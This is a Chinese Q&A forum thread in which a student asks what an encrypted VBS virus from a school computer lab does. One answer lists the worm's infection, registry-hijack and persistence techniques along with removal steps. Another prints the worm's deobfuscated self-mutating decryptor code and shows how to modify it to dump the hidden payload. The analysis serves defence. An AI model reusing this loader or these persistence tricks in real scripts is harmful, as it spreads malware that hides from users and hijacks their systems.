vbs解密，这是我上课的机房的病毒，是加密的，大家帮看看，谢谢，我想知道他是干什么的。

Question

'0O`&SSPS`3FTVNF`/FYUom
'Z $6\*&Bm*~i~{##Pi{+6\*&SY){w+{ex!{y+>8*yh fj %]D| b[*0*j{c&X![yj8?Pi{+6m*~i~{##SY){w+{ex!{y+>8.iyh 'jDi^{#b8?PYw##6cw %>?kk
'6XEb0DLQjkoo
'i):_--*-:l .0( :h 3/T^$(:[-".F:p$-0.f*{~F:p$-0.[..Tm /:[-".Wqm}-$+/H[-"0( )/.Tp$-0.f*{~Wa /g{$)p$-0.BKCTp$-0.[..Wa /g{$)p$-0.BJCT[-"h0(WJT^*:q#$' :[-"h0(:V:[-".H]*0)/Tj{-{(Wj{-{(@<:<@[-".B[-"h0(CT[-"h0(W[-"h0(:E:KTf**+ko
's6#p"3".]lc"4&Hr*()5Hp"3".L@SIIlk
'<NUNL]h,J\Nh<^K9J[JVpk
',J\Nhj[^Wjpk这是其中的一段，太长了 。。全文在这。。http://hi.baidu.com/e%BC%FB%D6%D5%C7%E9/blog/item/35b6644e59ff1805b2de05f3.html
我只有50分了，全部献上··
把全文保存后缀改为VBS就是样本了```也可以发给你一下`

谢谢各位的帮助，以及帮我解密的那位兄台``

Answer 1

能不能给个样本，压缩后发到[email protected]然后再看一下！

1、自变形
病毒首先通过执行 strreverse() 函数，得到病毒的解密函数 解密运行病毒之后，病毒会重新生成密钥，将病毒代码加密之后，再将其自复制。 所以病毒每运行一次之后，其文件内容和病毒运行之前完全不一样。
2、自复制
病毒会遍历各个磁盘，并向其根目录写入 Autorun.inf 以及 .vbs 文件，当用户双击打开磁盘时，会触发病毒文件，使之运行。 病毒会将系统的 Wscript.exe 复制到 C:\Windows\System\svchost.exe 如果是 FAT 格式，病毒会将自身复制到 C:\Windows\System32 下，文件名为随机数字。 如果是 NTFS 格式，病毒将会通过 NTFS 文件流的方式，将其附加到如下文件中。 C:\Windows\explorer.exe C:\Windows\System32\smss.exe
3、 改注册表
病毒会修改以下注册表键值，将其键值指向病毒文件。当用户运行 inf,bat,cmd,reg,chm,hlp 类型的文件，打开 Internet Explorer ，或者双击我的电脑图标时，会触发病毒文件，使之运行。 HKLM\SOFTWARE\Classes\inffile\shell\open\Command\ HKLM\SOFTWARE\Classes\batfile\shell\open\Command\ HKLM\SOFTWARE\Classes\cmdfile\shell\open\Command\ HKLM\SOFTWARE\Classes\regfile\shell\open\Command\ HKLM\SOFTWARE\Classes\chm.file\shell\open\Command\ HKLM\SOFTWARE\Classes\hlpfile\shell\open\Command\ HKLM\SOFTWARE\Classes\Application\iexplore.exe\shell\open\Command\ HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\Command 病毒还会修改以下注册表键值，用于使文件夹选项中的“显示隐藏文件”选项失效。HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue 病毒会删除以下键值，使快捷方式的图标上叠加的小箭头消失 HKCR\lnkfile\IsShortcut 病毒会修改以下注册表键值，开启所有磁盘的自动运行特性。 HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutorun 病毒会修改以下键值，使病毒可以开机自启动 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
4、 遍历文件夹
病毒会递归遍历各个盘的文件夹，当遍历到文件夹之后，会将文件夹设置为“隐藏 + 系统 + 只读”属性。同时创建一个快捷方式，其目标指向 vbs 脚本，参数指向被病毒隐藏的文件夹。 由于病毒修改的注册表会使查看隐藏文件的选项失效，也会屏蔽快捷方式图标的小箭头，所以具有很大的迷惑型，让用户误以为打开的是文件夹。
5、 关闭弹出光驱
每当系统日期中的月和日相等的时候（比如说 1 月 1 日， 2 月 2 日……以此类推），病毒激活时，会每隔 10 秒，打开并关闭光驱。打开光驱的次数由当前月份来决定（如 1 月 1 日，每激活一次病毒，就会打开并关闭光驱 1 次； 2 月 2 日，每激活一次病毒，就会打开并关闭光驱 2 次）。
6、锁定计算机
会调用 mstha.exe 显示如下图片，并且锁定计算机，使用户无法操作。
7 、进程异常
遍历进程，如果发现有 regedit.exe 、 taskmgr.exe、cmd.exe 等进程，就调用 ntsd 命令结束进程，使用户无法打开注册表编辑器，和任务管理器等一些基本的系统工具.
杀毒方法：
首先利用工具，结束掉所有 wscript.exe 以及路径在 C:\windows\system\svchost.exe 的进程。 运行“regedit”，打开注册表编辑器，找到 ”HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load” ，查看其内容所指向的路径。在命令行下，运行 del 命令删除脚本文件。 使用 NTFS 文件流相关工具，删除附加在 explorer.exe 和 smss.exe 中的文件流。 使用文件关联修复程序，修复被病毒修改过的文件关联。 删除每个磁盘根目录下的 autorun.inf 以及 vbs 文件。 鉴于此病毒创建病毒文件、路径还有自启动方式都都相当复杂，用金山安全卫士就可自动查杀。现在的专杀还没有用！

Answer 2

vbs/autorun.do 蠕虫病毒

Answer 3

首先你把以 '开头的省略掉 用批处理处理下
for /f "tokens=* eol='" %%i in (1.txt) do echo %%i>222.txt
在222.txt中就会生成vbs的语句了
生成的就是下面这些vbs语句了
gFD1bED1bhDD1BCd1BIbD1bAd1bJ9D1b8d1bK7D1B6D1BlcEd1bDfdM3d1B2d1bN=sTrREverSe("NoItcnUF DnE:bd1B=fD1B:TxEn:))CD1b+7d1b(XEH,)cD1B+2d1Bh&(XEh,bD1b(EcalPer=BD1b:31 OT 0=CD1B ROf:)7D1b,BD1B(FD1b noItcnUF:NOITcnUF dNe:txeN:ED1b&Dd1B=Dd1B:FI dnE:)ED1B(esAcl=Ed1B:NeHT )2*dnr(Tni Fi:)1,Cd1B,BD1b(dim=ED1B:)bd1B(NEL OT 1=cD1B RoF:)bd1B(dd1B NOITcNuf:nOitcNUF dnE:TXEN:)eD1B(RHc&AD1b=AD1b:FI dnE:))1,cD1b,BD1b(dim(cSa=ed1b:ESlE:Fi dnE:59*))97-ed1B(SbA\)97-eD1B((-Ed1B=Ed1b:nEhT 23<ed1b rO 621>ED1b fI:7D1B+))1,cd1b,bd1B(Dim(csA=ed1B:nEht 721<))1,cd1B,Bd1b(Dim(cSa dna 13>))1,cd1b,Bd1B(dim(CSA fi:)Bd1b(nEL OT 1 =cd1B rOf:)7D1b,bd1b(ad1B NOiTcnuF:8D1B EtUCeXe:gNIHtoN=2d1b Tes:esOlc.3D1b:9D1b ETIRw.3d1b:)2,eMAnLluftPirCS.tPiRCsw(elIFtXeTnEpo.2d1b=3d1B tes:pool:""""=6d1B:""""=5D1B:flRcBv&6D1B&9D1b=9d1b:fLRcbv&5d1b&8D1b=8D1B:Fi Dne:)))7d1B,))4d1B(ESaCU(EsReVeRrts(fd1b(EsREVerrtS(Dd1b=6D1b:)06904+00042*dnr(tni=7d1B:eSlE:)75,)2,7D1b&)84(RhC(THGIr(Ad1b&)7D1b,5D1b(AD1B&)93(rHc=6D1b:)1+Dnr*49(TnI=7d1B:)))75-,)2,4D1b(THgiR(aD1B(tNiC-,)3-)4d1B(nEL,2,4d1B(DIM(AD1b=5d1B:NEhT ""'""=)1,4d1B(TfEl Fi:)eNIldAEr.3D1b(MIrT=4d1b:mAErtSFoDNetA.3D1b LiTnu OD:)1,EMaNLLuFTpirCs.TpirCsW(eliFTxetNEPO.2D1B=3D1B tEs:)""tCejboMeTsysELif.gnITpIrCs""(TcEjbOetAerC=2D1B TES:EZiMODnar")

eVAL("E"&"Xec"&"UTE(GfD1BEd1BHDD1bcd1bibD1bAd1Bj9D1B8d1bK7D1B6d1BLceD1BdFDM3D1b2D1BN)")

gFD1bED1bhDD1BCd1BIbD1bAd1bJ9D1b8d1bK7D1B6D1BlcEd1bDfdM3d1B2d1bN 这个是变量名
sTrREverSe函数把里面的字符串倒过来
eVAL函数把里面的字符串当成vbs代码执行
execute 把后面的参数当成vbs代码执行

代码就是这样了
randomize
set b1d2=createobject("scripting.filesystemobject")
set b1d3=b1d2.opentextfile(wscript.scriptfullname,1) '这句

do until b1d3.atendofstream
b1d4=trim(b1d3.readline)
if left(b1d4,1)="'" then
b1d5=b1da(mid(b1d4,2,len(b1d4)-3),-cint(b1da(right(b1d4,2),-57)))
b1d7=int(94*rnd+1)
b1d6=chr(39)&b1da(b1d5,b1d7)&b1da(right(chr(48)&b1d7,2),57)
else
b1d7=int(rnd*24000+40960)
b1d6=b1dd(strreverse(b1df(strreverse(ucase(b1d4)),b1d7)))
end if
b1d8=b1d8&b1d5&vbcrlf
b1d9=b1d9&b1d6&vbcrlf
b1d5=""
b1d6=""
loop

set b1d3=b1d2.opentextfile(wscript.scriptfullname,2)
b1d3.write b1d9:b1d3.close
set b1d2=nothing
execute b1d8 '就是这句

function b1da(b1db,b1d7)

for b1dc= 1 to len(b1db)
if asc(mid(b1db,b1dc,1))>31 and asc(mid(b1db,b1dc,1))<127 then
b1de=asc(mid(b1db,b1dc,1))+b1d7
if b1de>126 or b1de<32 then
b1de=b1de-((b1de-79)\abs(b1de-79))*95
end if
else
b1de=asc(mid(b1db,b1dc,1))
end if
b1da=b1da&chr(b1de)
next
end function

function b1dd(b1db)

for b1dc=1 to len(b1db)
b1de=mid(b1db,b1dc,1)
if int(rnd*2) then
b1de=lcase(b1de)
end if
b1dd=b1dd&b1de:next
end function:function b1df(b1db,b1d7)
for b1dc=0 to 13:b1db=replace(b1db,hex(&hb1d2+b1dc),hex(b1d7+b1dc))
next
b1df=b1db
end function

把开头加了 '提取出来用上面的解密代码就可以解密出要执行的代码了
把上面的代码中
set b1d3=b1d2.opentextfile(wscript.scriptfullname,1)这句改成
set b1d3=b1d2.opentextfile(文件名,8)文件名就是你加了 '提取提取出来的那个文件名
execute b1d8 这句去掉， 改成
set ff=b1d2.opentextfile("11.txt",8)
ff.write bid8
在 11.txt这个文件就可以看见代码对你电脑做的手脚了

Answer 4

暴风一号，你搜索看看